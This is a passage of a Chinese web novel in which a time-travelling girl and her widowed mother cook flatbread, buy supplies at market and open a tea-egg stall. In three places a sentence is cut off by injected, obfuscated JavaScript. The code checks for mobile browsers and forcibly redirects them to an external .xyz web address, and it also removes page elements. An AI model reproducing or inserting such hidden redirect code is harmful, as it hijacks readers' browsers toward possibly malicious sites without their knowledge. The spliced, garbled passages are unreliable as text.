看这小姑娘应该也没吃过什么好东西,哎,还是穷呀! 刘巧铃使劲点点头,青青姐姐可真好,长得好看,心眼也好。 陈青青看着眼前松柏苍翠,枝上绿芽待展,耳边是松涛阵阵,抬头天空是无尽的蓝,突然又生出满心的干劲,等下山回去,一定要好规划规划了 11. 烙面饼 从山上回来,天色已经不早。刘大郎带回一大捆柴,非要都给陈家,田娘子推辞不过,只得要了大半的柴,又找了小半袋粮食给他。 知道刘大郎是想报恩,可他家也不容易,能帮就帮吧。 刘大郎见还要送粮食给自己,一时慌得不成样子,推脱着死活不要。自己还没报恩呢,反倒又要人东西。 见刘大郎怎么都不要,田娘子也只得收回了粮食袋子。 送走了刘大郎父女,陈青青锁好院门,朝阿娘神秘一笑。 娘来,请看我的表演吧! “阿娘。”陈青青背着背篓把田娘子拉进屋里,“您看我今儿得了什么好东西!” 放下背篓,在一堆野菜中掏呀掏。 “是什么?”田娘子被成功挑起了好奇心。 “是这个,这个,还有这个!”陈青青一一展示。 都是田娘子没见过的东西。这是什么?这是从哪来的?田娘子疑惑了。 “这个和这个是我在地里挖的。”陈青青指指土豆和花生,又指了指两个红辣椒,“这个是在枝上结的。” “您知道么,阿娘。咱们不是刚拜完石头那里的仙子嘛,我到山里也是刚拜完呢,就感觉自己可能要得什么好东西,这不就找到它们了。” “阿娘和爹爹那回在山里找到仙果,是不是也是这样的?”陈青青怕她不信,又提起了自己吃的圣女果。 田娘子疑惑地点下头。因为陈大郎的离世实在打击太大,她对那些天的事有些记忆模糊了,恍惚着官人是找到个什么果子,还说要带回来给闺女吃。 看阿娘点头,陈青青就知道自己赌对了,又故意压低了声音道:“阿娘,这可是神仙赐给的好东西,一准是看咱们以前太苦了。” 是呀,以前太苦了。田娘子想想以前,再想想没了的官人,心下一阵发酸,眼眶都红了。 “阿娘,阿娘你别难过,那些都过去了。现在咱们有神仙保佑,有爹爹保着,以后就过好日子了。”陈青青忙哄田娘子别难过。 田娘子点下头,如今闺女好了,又得了这么些好东西,一定是官人在天有灵,请神仙保佑着。 田娘子拭了拭眼,“这些东西怎么办?”她没主意,都听闺女的。 “咱们先放好了,可不能朝外说,等日后再慢慢透出去。”陈青青慢慢说道。 田娘子听闺女说得有道理,前几日大伙都打听仙果的事她还记着呢,这回又添了这好几样,还不得叫全村人都惦记着呀。 不能说,不能说。 看阿娘已经被自己忽悠信了,陈青青松了口气。哎,表演也是需要天赋的,咱不是那块料! 陈青青便把东西放到西面厢房再次藏好。 眼看天色已晚,该吃暮食了,陈青青决定今晚就吃烙饼,菜就吃荠菜地丁炒鸡子。 听说闺女要吃炒鸡子,田娘子略尴尬地笑了,家里没鸡子了。 家里原本只有四个鸡子,做汤用了两个,剩下的两个今早就煮了给陈青青带山上了。 “我去钱嬷嬷家看看,淘换几个来。”田娘子忙道。以前的鸡都卖了换钱拿药了,现在是得再喂上几只,吃起来也方便。 田娘子忙端了瓢,又进屋里抓了几个铜板,出去买鸡子了。临走还不忘叮嘱陈青青歇着,等她回来再做饭。 “阿娘,您的脚……”陈青青忙喊她。 田娘子却像没听到一般,一歪一歪地出了门。 看来她的脚也没什么大事,陈青青叹口气。阿娘还是太疼孩子了,都顾不得自己的脚,早知自己不说吃炒鸡子好了。 陈青青当然不能等着阿娘回来做饭。 她先把面和好醒着,因为是烙饼,便粗面和细面混在一起和,吃起来更有味道。 又把挖来的野菜都择好了,白蒿摊在箩筐里晾晒,荠菜和地丁洗干净,上锅焯一焯。 野菜一般都要先过水焯一下,去去野腥子气和涩味。 其实要真说起来,野菜为什么会是野菜,就是因为它没有家里的菜好吃呀,还是要相信祖宗严选。 可是春天嘛,不就是吃这个意头。再说了在这没有大棚技术的古代,季节不到想吃点青菜还真是不容易。 等陈青青把菜焯好,田娘子也回来了,手上瓢里有十来个鸡子,脸上带着满意的笑。 “阿娘哎,您脚不疼了。”陈青青故意逗她。 “阿娘哪有那么娇气,都歇了一天了,好了,好了。”田娘子抬一抬手里的瓢,“我买了十多个鸡子,明儿再去集市上买。” 陈青青问了价钱,倒也不贵,一文钱三个。陈青青一下子有了谱,卖茶叶蛋成,有的赚! “娘,你就赶紧坐下歇歇吧,这饭我来做。”陈青青叫田娘子坐下歇着,等着吃饭就好。 “好,好。”田娘子喜滋滋地坐下了,还是闺女好。 陈青青把醒好的面揉好,分成拳头大小的剂子,再擀成薄饼。 田娘子面上含笑看着闺女干活,闺女原来还什么都不懂呢,现在啥都会干了,真是仙子赐的福气呀。 她却是不知道,陈青青可真是托了福才长了这本事,不过不是仙子的福,是穿越的福,本来只是理论上的“巨人”,现在行动上也成了“巨人”。 面擀好了,便是生火烙了。田娘子也不闲着,坐在那里烧火。娘两个一个翻饼一个烧火,倒也配合得不错。 锅里放少许油,油热了放上擀好的博饼。烙饼最讲究火候,要根据火候大小来回翻动,这才能烙出两面焦黄香喷喷的面饼来。 当然油放多些,烙出来的油饼更香更酥脆,不过现在条件有限,有烙面饼吃就不错了。 饼做好了,便开始炒菜。 陈青青先把鸡子打到碗里,加上盐顺着一个方向快速搅打。据说顺一个方向搅打会味道更好,不管是打蛋液还是拌馅子都是如此。 锅里放油,葱花炝锅放入焯好水的菜,陈青青又把打好的蛋液均匀淋入锅中,待蛋液凝固成型,翻过来,两面炒到微微焦黄便装盘出锅了。 “青青,你炒这菜,我不吃就知道香得很。” 确实很香,春日野菜特有的清香迎面而来,又和着炒蛋的鲜香,确实叫人迫不及待地想吃上一口。 饭菜上桌,两个人都不再说话,只仔细体味着饼香和菜香。 陈青青吃着饼突然想起一种吃食来,制作也简单,可以粗面和细面混在一起,甚至再加上粗粮,口味更好。里面还可以包上各样的菜和肉,味道丰富。 以前妈妈去鲁地玩,便吃过这种叫做菜煎饼的街头小吃。还专门学习了,回来做给陈青青吃。 确实很好吃,煎饼里可以加菜加肉加蛋加肉肠,真是方便又实惠。 陈青青又想到了一种买卖,真是心情大好,嘴里的面饼觉着更香了。 既然想到了卖什么东西,陈青青便认真盘算了起来。茶叶蛋原料容易找到,就先做这个,等一切有了头绪再上菜煎饼。 做茶叶蛋需要的鸡子、茶叶、调料和盐,这些都要到集市上买,还有煮蛋的锅也是一个大问题。对,还要有个能移动的小炉子,用来加热保温。 这些都要等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178940|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢集的时候去看看。 陈青青无比盼望着集市的到来。 终于,这天又到了逢集的日子。 陈青青一大早便起来收拾利索,就等着去赶集了。 集市上的人比上回更多了些,越来越多的人因为知道了神幕的事,都来赶这个热闹。 娘两个到了集市,先去看炉子和陶器。 在来的路上陈青青已经把自己的想法和阿娘说了,田娘子自然是一百个支持。当然田娘子对闺女也是有盲目的相信,她相信闺女一定能把事做成了。 卖泥炉和陶器的是一个摊子,倒是省了陈青青的事。 摊主是个中年汉子,说起话来倒也实在。田娘子一看也知道是个常摊,便朝闺女点点头。 讲了半天价,那汉子笑道:“小娘子确实是口齿伶俐,我倒是没卖过这么低的价。” 又问田娘子是否听说神幕的事,说自己明儿打算去青云镇看看。 “听说许多摊子要摆到那里去,我也去凑凑热闹。” 陈青青一听正中下怀,正愁着买了东西不好背回去呢。 “那我买泥炉和陶釜,麻烦你给捎过去可好?要不我到你去那里再买?” 摊主一听便知道眼前母女俩定是那青云镇的人了,忙逮住了两人问神幕的事。 “仙子可灵了呢,你去看看就知道了。”田娘子看看闺女只道。 看来神幕是真有其事了,摊主只听传得神奇,这回知道了确切的消息,自然要去看看了。 又怕陈青青今天真不买了,说不定明天去摆摊的多了,以后的买卖哪如今天就做成了实在,那摊主便松了口,“那成,就按小娘子说的价来吧,明儿我去青云镇,你自管来拿就是。” “大哥真是实在,那火炉四十五文,陶釜二十文,就这么说定了。”陈青青笑着夸赞一句,又拿了两文钱出来,“这两文是定钱,咱们可说好了,明儿青云镇一手交钱一手交货。” 摊主倒是一愣,转又哈哈一笑,朝田娘子道:“大娘子好福气,家中有这么精明的小娘子。” 田娘子倒也不客气,朝人家点点头,我家闺女聪明着呢。 倒把陈青青说得有些汗颜。 过了陶器摊子走两步是铁器摊子。 粗略问了一下铁锅菜刀等物品的价格,陈青青不禁感叹,铁器确实好贵。 铁锅最便宜的都要好几百文了,而自己想要的用来烙煎饼的鏊子,足足要八百文,这还是最小号的,大一点的都要好几贯钱。 算了,先不买了,等用着了再买。 看完了铁器,去买调料。 此时的调料倒是齐全,除了没有辣椒,后世有的茴香、八角、桂皮、花椒等调料都有了,只是价格也贵。 陈青青只买了八角和桂皮,便觉肉痛。好在花椒不用买,田娘子说了,家里有。 听阿娘说后院里面就有棵花椒树,陈青青还奇怪呢,自己倒是没认出来。 买好了调料又买了些盐和酱清还有黄酒,这些都是做菜要用到的,是必需品,省不了。 好在茶叶便宜点,做茶叶蛋用散茶就行,当然用红茶最好,可惜这里没有。 散茶一斤二十八文,陈青青买了半斤。 又去买了一百二十个鸡子,花掉了四十文。 花钱真是叫人咬牙的事呀!陈青青暗叹。 对了,自己倒是知道些红茶的知识,不知以后会不会有机会用到。若是这里当真没有红茶,自己岂不是又多了条门路! 想着这些,钱花得似乎也不那么叫人心痛了。 12. 茶叶蛋 娘两个回到家里,归拢一下买回来的东西,再数算一下手中的余钱。赶了两回大集,家里的那几两银子已花去大多半了。 田娘子看着剩下的钱又有些叹气。 “阿娘,你信我,明儿拿了家什做好了东西,很快就能挣到钱的。”知道阿娘这是又为钱犯愁了,陈青青忙安慰她。 “是阿娘没有用,倒叫你想法子受累……”田娘子有些自责。原来还想着自己和官人在外面忙点累点,能叫闺女享享福,却没想到头来,还得闺女还撑起这个家。 “阿娘,你这是哪里的话,不过是做点吃食出去摆摊,不累不累。再说了,这个家还有阿娘撑着呢。”陈青青笑着岔开了话,“以后有的阿娘受累的时候!” 田娘子一时也被说得笑了,“那点活,阿娘可不怕。” 第二天再出去,青云镇上果真多了许多人。 此时还未开始春种,各家都有闲人,又因为这些天青云镇神幕的事已传遍了十里八乡,连城里也有人知道了,所以许多有闲的人的到青云镇一探究竟。 人多了,就有买卖的需求,那些卖货的小商贩更是闻风而动,嗅着商机来了。 青云小镇眼见地热闹起来。 商贩都聚集在小镇北面的牛蹄石那里。一来,那里是传说中的神幕所在,二来,那边有大片的空地。 如今那空地上便摆上了各式各样的摊子,也有支起棚的,也有打起阳伞的,还的挂起了招幌的,很有些锦旗招展的意思。 陈青青一看那么多摊子倒有些慌起来,是我来晚了么?难道占不着个先机了?自家门口的商机竟也没抓住? 田娘子也有些愣住了,这一瞬间青云镇倒成了集市不成! 陈青青仔细看了看,摆得最多的摊还是吃食摊子。一想便也明白了,如今外边的人都是冲着神幕来看热闹的,走这么久一时又回不去,人是铁饭是钢,一顿不吃饿得慌,可不得吃点喝点! 这里和集市上卖得吃食差不多,胡饼、蒸饼、烧饼、汤饼、馒头都有。 陈青青看了一圈,还缺卖喝的,当然也没有卖茶叶蛋的。 好,也不用等到集市那天了,做好了茶叶蛋直接在这儿卖就成了! 娘两个在偏一点地方看到了昨天定好东西的摊子。 两边按说好的价,钱货两清。 那摊主奈不住好奇心,又问了神幕的事,“神幕真就在那边石壁上?” 田娘子点点头,“就在南边的这一面。” “看着倒也平平无奇,真有神仙出现?”摊主还是有些不敢相信。 “神仙的事喏,谁说得准,反正都出现过好几回了。”田娘子见他不信,忍不住道。 “大哥再等等,说是七天出现一回。”陈青青敷衍一句,便和田娘子离开了。 如今自己娘俩可算是风口上的人,都说陈家得遇仙缘呢,还是别多说了。 陈青青娘俩费了好劲才把泥炉和陶釜送回家。 陈青青明白了,自己还缺个大件家伙——小推车。 陈青青也仔细看了摆摊的,特别是摆吃食摊的倒是都用车,什么行车串车,但都不如后世的那种小吃车方便好用。 自己得想办法弄一辆小推车来用。 就怕得找人定制才行。哎,又是一项大花销。 花钱倒还好说,怕就怕找不到能做的人。 陈青青不禁叹口气。 “闺女累了吧,快歇歇。”田娘子心疼闺女,忙叫她歇一下。 倒也不是太累,陈青青朝阿娘笑一笑,“阿娘也歇歇。” “我琢磨着这两天咱们这里人也多了,在后边石头那里摆摊倒还将就。要是起去远的地方,得有个小车才行。”陈青青把自己的打算说了,反正阿娘她是无条件支持。 “还是闺女想得周全,是得有个车才行。” 田娘子思量半天又道:“要不哪天去城里看看?” 听阿娘说起城里,陈青青忙打听起来。 原来这个城里竟是京城,叫做汴州城,离这里有二三十里路。 汴州!会不是真就是宋朝! 离京城这么近!这不是妥妥的京圈嘛! 陈青青又惊又喜,又想问些详细的,田娘子又说不上来了。 算了,以后再慢慢打听。现在要紧的是说车子。 听阿娘的意思,城里的车子和集市上摆摊的车差不多,看来自己确实要定制一个了。 “阿娘,不知道这周围有木匠没有?到时上那里做一个车子,应该也能便宜些。” 田娘子点点头,说起来还做一个比买划算些,“阿娘倒是知道一个,旁边李庄就有个李木匠,要不等等去看看?” 阿娘倒是个行动派,一说就要去看了。 看看天色倒也还早,陈青青便和阿娘去了李庄。 李庄离青云小镇三里路,过了一片树林差不多就到了。 田娘子只知道李木匠住在村头,果然朝人一打听就找到了。 李木匠是个老木匠,这几年人老了活也少了,正在家闲着呢,倒有活找上门来。 听陈青青说要打个车子,便说可以。 陈青青要求可多,既想要推起来方便,又要能放炉具等东西,还能支起大伞来遮阳挡雨,最好还能再撑起一面板子来,放上吃食好摆摊。 陈青青比比划划,干脆在地上找根木棒画了起来。 真是匆忙了,早知道在家里想好了画出图来给他看了。 陈青青说了半天,望望李木匠,不知道他看明白了没有。 “你这小娘子,是想要个摆摊卖货的车呗。”李木匠说道,“这可不太好做。” “我听我阿娘说了,方圆几十里可最属你的手艺好了,不难不难。”陈青青知道自己的要求多,只说好话。 李木匠听了嘿嘿一乐,这小娘子倒是会说话。又问她们是哪个村上的,又问陈青青爹爹是哪个。 待听说是青云镇上的陈家,李木匠沉吟片刻,答应了下来。 接下来就都好说了起来。 李木匠拍拍自己胸脯道:“不是吹,四里八乡的我的手艺没得说,小娘子这车就包在我身上了。” 保证了木头用结实的好木头,价钱也给的公道,价格五百文。 “到时做出来,小娘子觉得车子不好,还算我的。” 陈青青没料到这李木匠是这么痛快的一个人,还以为价钱上有的磨呢,倒给得这么公道。 “好,我先把定钱给了。”陈青青给了一百文的定钱,“还请老伯多费力了。” “小娘子放心就是。”李木匠收了定钱,保证道。 陈青青和阿娘又朝回赶,这回她的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178941|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情可舒畅多了,大物件搞定了,回去就开始煮茶叶蛋了。 娘两个却是不知道,那李木匠是曾受过陈彦升帮助的人,所以听了陈青青说了爹爹是哪个,便一口答应了下了。 价钱公道不说,还没讲明原因,也是厚道的人。 回到家里,娘两个稍歇一歇,简单用过午饭,便开始煮茶叶蛋的准备工作了。 因为是第一天摆摊,陈青青打算少煮些试试水。 后来一想反正少也是煮多也是煮,干脆把在集市上买的鸡子留下十多个平常吃的,其余一百个都煮了。 反正陈青青对自己的手艺有信心。 陈青青因为美食专栏很是用心“啃”过资料,茶叶蛋的起源已无考证,清代的袁枚在《随园食单》写过茶叶蛋的做法:鸡蛋百个,用盐一两,粗茶叶煮,两枝线香为度。如蛋五十个,只用五钱盐,照数加减,可做点心。 陈青青以前也做过茶叶蛋,做起来并不难。 娘两个先把鸡子清洗干净,然后冷水下锅,开始煮鸡子。 煮的时候一定要用冷水不然的话,蛋壳会炸开。此时煮蛋的火候很重要,煮太久容易把蛋煮老了,时候太短则又不熟。 煮好的鸡子捞出凉水浸泡一会,这样是为了让茶叶蛋更容易剥壳,接下来便是敲蛋壳了。 对于敲蛋壳,陈青青有个小技巧,在蛋壳两头敲一下,再在中间敲一下,然后用手掌心轻轻压着鸡蛋滚一圈,这样漂亮的网状裂纹就出来了。 都是简单的法子,陈青青一说田娘子便明白了。 “阿娘可要好好记住喽,以后还指着你呢。”陈青青故意逗阿娘。 田娘子白她一眼,“你以后我在城里白做工的,你娘我还会你许多不懂的呢。” “那是自然。”陈青青嘻嘻笑着。 自从陈大郎去世,田娘子的心气就像被抽走了,如今才渐渐有了生气和笑模样。 多谢神仙保佑,我还有这么好的闺女陪着呢,我得好好的。田娘子看着笑意盈盈的陈青青自己也不由笑了。 敲蛋的活虽然轻巧,可做一会还是会累。陈青青又劝着阿娘别累着。 “要到晚上多熬一会,茶叶蛋才入味呢,不用急。” 田娘子笑应着。 娘两个有说有笑,活儿也做得飞快。 陈青青想着先煮出来正好当做暮食,也叫阿娘尝尝味儿。瞅着快做暮食的时分了,陈青青便开始煮茶叶蛋。 陶釜中加上清水,放入酱清、葱段、姜片、八角、盐、桂皮、花椒、糖等调料,当然还有最重要的便是茶叶。 陈青青买的是散茶,就是粗茶,用来煮茶叶蛋倒是正好。不过美中不足的是如今的茶叶都是绿茶,而煮茶叶蛋最好的是用红茶,发酵的茶煮出来色泽深味道更为香浓。 陈青青倒是知道些红茶的制作方法,不过也得等以后有钱有闲了再钻研了,如今用这散茶也不错。 田娘子把泥炉生了火,陶釜坐在泥炉上正好。 等到水开了,转为小火继续熬。 这时便有很特别的香气慢慢散开来。 是茶的清香又带着酱香,若无似有萦绕着,勾着人想仔细闻一闻嗅一嗅。 田娘子忍不住动了动鼻子,“这味道蛮香!” 陈青青笑了,这才哪到哪,等再熬炖一会儿更香! 13. 朝食摊(一) 约摸又炖了半个时辰,随着热气的蒸腾,散发出的香气越发浓烈。 田娘子忍不住问:“青青,这会儿炖好了没有?” 陈青青点点头,被香味刺激着又想起茶叶蛋的味道,也不禁咽了咽口水。 “马上就好。” 陈青青用厚布包着手拿开了陶釜的盖子,热气带着香气扑面而来。 茶香、酱香带着八角的辛香是勾人的味道。 要是放点辣椒味道会更足。陈青青这样想着,不过到底没舍得放。本来辣椒也不多,自己和阿娘还没尝味呢,再说了这茶味蛋的香气就足够冲击了,要慢慢来才好。 先捞出六七个茶叶蛋做暮食,其余的用小火接着炖。 别说田娘子了,陈青青自己也有些等不及了,茶叶蛋还没凉就上手剥蛋壳了。 斯哈斯哈,手热得一剥一顿,终于好了! 浅褐色蛋白上带着深褐色的裂纹,散发出诱人的香气。 慢慢咬上一口,蛋白滑嫩,蛋黄香绵,和着茶叶的清香抚慰着饥饿的身体和心灵。 呵,陈青青有些暗笑自己,只穿到古代这么几天,就如此贪恋口腹之欲了,竟然还上升到了心灵! 可是,这小小的茶叶蛋,确实叫人想起了尘世的烟火,想起那遥远的街巷里,往来的人群,嬉闹的儿童…… 箪食瓢饮俱是生活。 陈青青知道,自己想家了,想那个喧嚣城市里的宁静角落,那些平常却让人回味的日子。 摇了摇头,苦笑一下。 想一下就罢了,眼前的日子还得过下去。 “阿娘,味道怎么样?”陈青青问田娘子。 田娘子咽下嘴里的这一口,才道:“我的好闺女,你怎么想到这样的吃食,这真个是神仙滋味了。” “我这可能是得仙子相助了……”陈青青狡黠一笑,故意逗阿娘。 田娘子却是当了真,“就是那仙子保估的,要不你哪能好了,还变得这么厉害!” 我…… 陈青青一时没了话,不过阿娘要是当了真也不错,以后自己拿出那么些东西来,倒也省了不少事,就说仙子相助就行了。 陈青青一口气吃了三个茶叶蛋,才觉得解了馋。 再看田娘子早已吃完了,陈青青便又捞出几个茶叶蛋来,总得让阿娘吃个过瘾才好。 “阿娘不吃了……”田娘子有些不好意思地的推辞着,怎么自己倒跟个小孩似的馋嘴了呢。 “还有好多呢,阿娘再吃几个。”陈青青笑道,“等以后咱们挣钱了,我天天做好吃的给阿娘吃!” “好……好!”田娘子一时湿了眼框,努力眨眨眼笑应着。 好闺女! 娘两个用过暮食,又把明天要摆摊的东西收拾好,茶叶蛋也用小火熬炖了大半天,这才歇了下来。 夜里,田娘子不放心,又起来看了看,给炉子上续了柴,保证天明茶叶蛋也是温热的。 天刚亮,娘两个便都起来了。陈青青简单烙了个饼,又把咸菜切丝放了点辣椒碎。因为时间有些紧,便只做了简单的糊粥。 说起糊粥,陈青青很是喜欢。特别是冬天里,喝一碗红薯糊粥,那滋味,美! 糊粥做起来也简单,水烧开了放上调好的面糊再烧开就可以了。面糊可以是面粉、玉米面甚至各种杂粮面,都可以。 做得复杂一点,可以放上红薯或是山药,这个需要火候慢慢熬。 又或者再放上些花生碎,加上少许盐,便做成了咸味的,甚至再放上些白菜丝、萝卜丝,便是菜糊粥,都是味道美美的! 陈青青这回做的是咸糊粥,放了点花生碎和盐,水开了下调好的面糊,再烧开粥便做好了。 吃一口烙饼,喝一咸糊粥,田娘子满意地叹了一口气,“青青,你做的这个好吃!” 再吃一根咸菜丝,香咸中带着丝丝辣意。 “咦,这是什么味道?”田娘子惊奇道,“青青,你怎么调出这辣味的!” 如今也有辣味的东西,不过是用山茱萸调出来的,比起辣椒来当然差了不少意思。 陈青青笑了,“阿娘,这就是那天我上山采来的,我叫它辣椒。” “是不是很够味儿?” 对,就是够味儿! 这辣味仿佛有魔力般,吃的时候似是打开了所有的味觉,热烈而浓郁。赶紧吃下这一口,辣意渐渐消散,却又叫人忍不住回味,期待着下一口的热烈。 “够味儿!”田娘子连连点头,“吃了一口还想下一口。” “这是好东西,好东西!” “糊粥里放的是什么?太香了!”田娘子又问。 陈青青知道阿娘说的是花生碎。 “阿娘,这也是那回得的东西,是埋在土里的,就叫落花生。” 落花生,确实是一个又美又形象的名字,花落入地而生。 “这都是神仙赐的。”田娘子一时也顾不得吃饭了,跑到院子里双手合十小声祈祷了一番,才又回来坐下。 “阿娘,咱们可得小心些,别轻易叫人知道了去。”看阿娘完全信了,陈青青又嘱咐道。 匹夫无罪怀璧其罪,一切得小心些。 “阿娘知道,这都是神仙给的好东西,人心难测,咱们小心些。”田娘子应下了。 陈青青点点头,就是这个道理。 娘两个吃完朝食,便开始收拾去摆摊了。 因为小推车还没做好,田娘子先去钱嬷嬷家借了个独轮车,两个人把东西运到了牛蹄石那里。 果真小镇要繁华起来了,大清早的,石头前的空地上就聚集了许多摊子。 已经摆好的摊子都是卖朝食的,其余的摊主有的正在摆弄货物,有的才匆匆赶来。 不过也不着急,这会儿来的人都是奔着朝食来的。 有凑热闹的青云镇人,也有外地来看神仙的人。当然这些摊主也是要吃上一顿的,早早就赶路,正好吃完饭忙生意。 朝食摊前眼见着热闹起来。 品种倒也不少,有胡饼、汤饼、馒头、蒸饼,也有各种粥、羹。叫买叫卖声此起彼伏,好不热闹。 陈青青忙找了个空地,和田娘子一起把炉子支了起来,陶釜放了上去。陈青青把陶釜的盖子取了下来,炉火一旺,茶叶蛋的香气便四散开来。 这是什么香味,怎得这样引人? 旁边的人嗅了嗅鼻子,寻到了香味的来源。 只见一个小娘子俏生生地站在那里,面前泥炉上的陶釜热气腾腾的冒着香气。 “小娘子,这是什么吃食?” “小娘子你这摊上的东西好香呀!” 终还是抵不住香气的诱惑,有人聚拢过来问道。 陈青青还在想要不要也吆喝几声打开局面呢,就见有人围了过来。 “这是茶叶蛋,今儿新做的,郎君要不是来个尝尝?”陈青青笑着招呼着第一个问的中年男子。 陈青青边说边拿勺子舀出两个茶叶蛋来,深褐色的茶叶蛋带着卤汁的浓烈香气呈现到众人面前。 中年男子忍不住咽了咽唾沫,“茶叶蛋?倒是个新鲜的。” “香着哩,包好吃的。”陈青青对自己的手艺很自信。 “这个多少钱?”旁边的人等不及问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178942|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “四文钱一个。”陈青青仔细算过,虽然这价格不算便宜,但胜在是个新奇玩意儿,总有人会来尝尝鲜,再说了所用的茶叶和调料也不算便宜,有本钱在呢。 一听四文钱一个,有人砸砸嘴,这个什么茶叶蛋虽然闻起来挺香,但是也贵呀,四文钱都能买两个胡饼了,不比这个充饥? 陈青青一看那人脸色就明白了,笑道:“别看这四文钱不便宜,可咱也有本钱在这里呢,不说这鸡子和柴了,光是这佐料,可是专门挑得上好的香料,好几十种才调出这香气呢。” 说着又把勺子朝那人面前递一递,“郎君闻闻,是不是很香?” 可不就是香嘛,最早问话的中年男子只道:“好,小娘子来两个茶叶蛋,尝尝鲜。” “好!”陈青青笑应着,这不就开张了嘛! “郎君,四文钱一个,若是买三个算你十文。”陈青青说着把三个茶叶蛋放在一旁的碗里,突然尴尬起来——自己忘了包装的事了。 在前世,有塑料袋,还有各样的外卖餐盒,方便至极。而现在陈青青光想着卖东西了,完全没考虑怎么把茶叶蛋包起来给顾客的事。 这可怎么办? “要不,郎君用……”陈青青一时卡了壳,要不就叫人用碗端着吃呗。 “用这个。”田娘子伸手递过来一沓东西来。 陈青青一看就乐了,还是阿娘想得周道, 忙用田娘子拿过来的箬竹叶包茶叶蛋。 “你这小娘子倒是会做生意!”中年男子掏出铜板,数了十个出来。四文一个,十文就三个,确实招人多买。 田娘子接了钱,陈青青把包好的茶叶蛋递过去,“多谢郎君捧场!小心热。” 中年男子接过茶叶蛋,本想到一边慢慢品尝的,实在没抵住那香气,转手就剥开一个吃了起来。 只见他咬一口眯起眼,又吃了第二口,三两口一个茶叶蛋便下了肚。 “这茶叶蛋好滋味!”中年男子朝陈青青伸出大拇指赞了句,边朝旁边走去,打算要细细品尝剩下的两个。 陈青青开心地笑了,“谢谢郎君夸奖!” 有中年男子开了头,其余人便你两个他三个的买了起来。 有舍不得的人实在抵不过香气的诱惑,也掏了四文钱买一个尝尝。 陈青青负责包茶叶蛋,田娘子负责收钱,娘两个忙乎起来。 买了茶叶蛋的人都是边吃边点头,怪不得贵,确实有贵的理由,它好吃呀! “哟,田娘子,你们娘俩来摆摊了呀。”有人越过人群朝田娘子问道。 田娘子一看,原来是孙二,便回道:“孙二郎过来逛逛的。我们娘俩卖点吃食,好歹有点进项。” 陈青青一看也有点印象了,这是第一回看到神幕的人之一。 要说孙二这几天很是风光,因为是第一个看到神幕的人,好多人听他讲这事。到后来竟然有外地的人花上一两个铜板专门请他讲。 孙二本来还有些拒绝,后来一看这事还来钱,便敞开说了,俨然神幕说书人。 “诸位不知道吧,这位陈小娘子,那可不是一般的人……”孙二一看人也多,又是陈青青摆的摊,这“说书”的劲便上来了。 吃客们也有听过孙二说故事的,忙问:“怎么,还有什么故事不成?” 见人这么捧场,孙二来了劲儿,“话说那神幕上仙子不是说了什么圣女果嘛,仙子把这仙果还送人了,据说就是位陈姓的人家。” “这不巧了嘛,陈小娘子呀原来是个傻……不,是个生病的人,吃了她爹爹采来的果子就好了,你们品品,是不是就是那仙果……” 14. 朝食摊(二) “可不敢说是神仙给的果子。”陈青青就知道挡不住别人说,“是吃了我爹爹上山采的山参才好的,我们可没有那么大的福气。” 陈青青笑着朝众人说着,反正得仙果的名头是推不掉了,自己不承认就是了。嘴在别人身上,想说就说吧。不说是在古代了,就是在现代,那些玄学的东西也大有人相信。 我好歹也是“仙子本仙了”,沾这一回光吧,就当给食摊做宣传了。 倒是田娘子听人提起陈大郎,又忍不住红了眼眶。 “孙二郞,我闺女真是吃山参好的。”田娘子虽然知道闺女真是吃圣女果好,可还是牢记她的话,只说是吃山参好的。 “可怜她爹爹……”田娘子拭了下眼角,没再说下去。 孙二听了田娘子的话,一时有些讪讪的,忙又道:“陈小娘子也是不容易,大家要中吃着这摊上的吃食好,多捧个场。” 说着又朝众人作了个揖。 这时也有知道原委的人悄悄说了,这家子的男人为了上山给闺女采药没了,只剩下孤儿寡母的来摆这个吃食摊子,倒也可怜。 再加上食摊上的香味确实馋人,又有先前买了茶叶蛋的人也说味道好,越发叫人想买个来尝尝了。 一时竟将陶釜里的茶叶蛋卖了个差不多。 孙二也掏出几个铜板,要买个茶叶蛋尝尝。 陈青青拿竹叶包了个茶叶蛋递给他,却没要他的钱,“得亏二叔帮着说了一通,这个茶叶蛋请你尝尝,哪能要钱呢。” 孙二一时有些不好意思起来,“哪能白吃你的东西……” “你若吃的好了,明儿我来,你再给大伙说道说道这茶叶蛋的味道,就当付过钱了。” 陈青青看中了孙二这“说书”的能力,倒不如让他给宣传宣传。 孙二是个爽快的,闻言便接了茶叶蛋,“好说好说。” 边说边剥了蛋壳,咬了一口,“呀呀,不是我夸,你这茶叶蛋味道真足!” 